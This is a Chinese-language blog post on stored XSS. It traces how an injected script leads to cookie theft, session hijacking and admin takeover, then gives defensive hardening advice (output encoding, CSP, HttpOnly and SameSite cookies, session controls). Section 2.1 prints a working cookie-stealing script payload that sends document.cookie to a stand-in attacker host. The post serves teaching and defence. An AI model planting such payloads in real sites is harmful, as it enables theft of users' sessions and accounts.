从 Cookie 窃取到会话劫持：存储型 XSS 的真实危害

在 Web 安全领域，跨站脚本攻击（XSS）长期占据 OWASP Top 10 榜单，而存储型 XSS 更是其中危害最大、影响最深远的一种变体。与反射型 XSS 不同，存储型 XSS 的恶意脚本被永久保存在目标服务器上，所有访问受影响页面的用户都会在不知情的情况下执行攻击者注入的代码。本文将从 Cookie 窃取的实际链路出发，深入剖析存储型 XSS 如何一步步升级为完整的会话劫持，并给出切实可行的安全加固方案。

一、存储型 XSS 与反射型 XSS 的本质区别

反射型 XSS 需要诱导用户点击精心构造的恶意链接，服务器将脚本“反射”回浏览器后即刻执行，攻击是一次性的。而存储型 XSS 的攻击载荷被写入数据库、评论系统、用户资料页等持久化存储中。这意味着：

• 无需诱导点击：任何访问该页面的用户都会自动触发恶意脚本。
• 攻击面成倍扩大：从单个目标用户扩展到所有浏览者，包括管理员。
• 持续时间长：载荷长期驻留，直到被手动清除或修复。

一个典型的存储型 XSS 注入点包括：评论区、论坛帖子、用户昵称、个人简介、工单系统、日志展示页面等任何将用户输入回显到 HTML 中的位置。

二、从 Cookie 窃取到会话劫持的完整链路

2.1 第一步：注入恶意脚本

攻击者在存在存储型 XSS 漏洞的评论框中提交如下内容：

<script>
  new Image().src = "https://attacker.com/steal?c=" + encodeURIComponent(document.cookie);
</script>

这段脚本被服务器存储后，每当有用户浏览该评论页面，浏览器就会解析并执行它，向攻击者控制的服务器发送一个携带当前用户 Cookie 的 GET 请求。

2.2 第二步：窃取会话 Cookie

如果目标网站的会话 Cookie 未设置 HttpOnly 标志，document.cookie 就能直接读取到类似 PHPSESSID=abc123... 或 JSESSIONID=xyz789... 的会话标识。攻击者的服务器日志中便会记录下这些宝贵的会话令牌。

即使 Cookie 设置了 HttpOnly，攻击者仍有其他手段：通过 XSS 直接发起同源请求读取页面中的 CSRF Token，或者利用 fetch 以受害者身份执行任意操作——这已经构成事实上的会话劫持，无需真正“窃取”Cookie。

2.3 第三步：会话劫持

攻击者拿到会话 ID 后，只需在自己的浏览器中手动设置该 Cookie，或使用 Burp Suite、Postman 等工具将其注入请求头，即可完全冒充受害者身份访问系统。此时：

• 受害者可能仍在正常使用系统，毫无察觉。
• 攻击者可以读取受害者的私信、修改密码、发起转账、甚至以管理员身份进入后台。
• 由于身份验证完全基于会话令牌，服务器无法区分攻击者与合法用户。

2.4 第四步：横向移动与持久化

如果被劫持的是管理员会话，攻击者可能进一步：

• 在后台注入新的存储型 XSS，形成蠕虫式传播（如经典的 Samy 蠕虫）。
• 创建隐藏的管理员账号，实现长期持久化控制。
• 导出敏感数据，或篡改业务逻辑进行欺诈。

三、真实案例与危害量化

历史上，存储型 XSS 造成的重大安全事件屡见不鲜：

• Samy 蠕虫（2005）：MySpace 上的存储型 XSS 蠕虫在 20 小时内感染了超过 100 万用户。
• Twitter Stored XSS（2010）：鼠标悬停即触发恶意脚本，导致大量用户被重定向和 Cookie 窃取。
• WordPress 插件漏洞：多个流行插件因存储型 XSS 导致站点管理员会话被劫持，进而整站被控制。

危害量化方面，一次成功的存储型 XSS 攻击可能导致：用户凭证泄露、业务数据被窃、品牌信誉受损、合规处罚（如 GDPR 最高 4% 全球营收罚款），以及后续勒索软件攻击的入口。

四、与其他 Web 漏洞的关联

存储型 XSS 很少孤立存在，它常与以下漏洞形成组合拳：

• SQL 注入：通过 SQLi 将 XSS 载荷直接写入数据库，绕过前端过滤。
• CSRF：XSS 可绕过 CSRF Token 保护，因为攻击脚本运行在同源上下文中，能直接读取 Token 并构造合法请求。
• 文件上传漏洞：上传包含恶意脚本的 HTML 或 SVG 文件，结合存储型 XSS 触发。

因此，安全加固必须采用纵深防御策略，而非单点修补。

五、安全加固方案

5.1 输入验证与输出编码

• 对所有用户输入进行严格的类型、长度和格式校验。
• 在输出到 HTML 上下文时，使用上下文相关的编码函数（如 HTML 实体编码、JavaScript 编码、URL 编码）。
• 推荐使用成熟的模板引擎（如 Twig、Jinja2）并开启自动转义。

5.2 内容安全策略（CSP）

部署严格的 CSP 头，禁止内联脚本和未授权的外部脚本：

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

这能有效缓解即使存在 XSS 注入点时的脚本执行。

5.3 Cookie 安全属性

• 会话 Cookie 必须设置 HttpOnly，阻止 JavaScript 读取。
• 设置 Secure 属性，确保仅通过 HTTPS 传输。
• 设置 SameSite=Lax 或 Strict，缓解 CSRF 和部分 XSS 影响。

5.4 会话管理加固

• 使用短会话超时和定期会话轮换。
• 绑定会话到客户端指纹（如 IP + User-Agent 哈希），但需权衡误报。
• 关键操作（改密码、转账）要求二次验证。

5.5 持续监控与响应

• 部署 WAF 规则拦截常见 XSS 载荷。
• 对存储内容进行定期扫描和清理。
• 建立安全事件响应流程，一旦发现 XSS 立即失效所有会话并通知用户。

六、结语

存储型 XSS 绝非“弹个窗”那么简单。从 Cookie 窃取到会话劫持，再到横向移动和持久化控制，它构成了一条完整的攻击链，足以让一个看似安全的 Web 应用彻底沦陷。理解这条链路，并在输入验证、输出编码、CSP、Cookie 属性和会话管理等多个层面实施安全加固，才是应对存储型 XSS 的正确姿势。安全不是一次性的任务，而是持续的过程——每一次用户输入的背后，都可能隐藏着下一个攻击载荷。

未经允许不得转载：任鹏个人博客 » 从 Cookie 窃取到会话劫持：存储型 XSS 的真实危害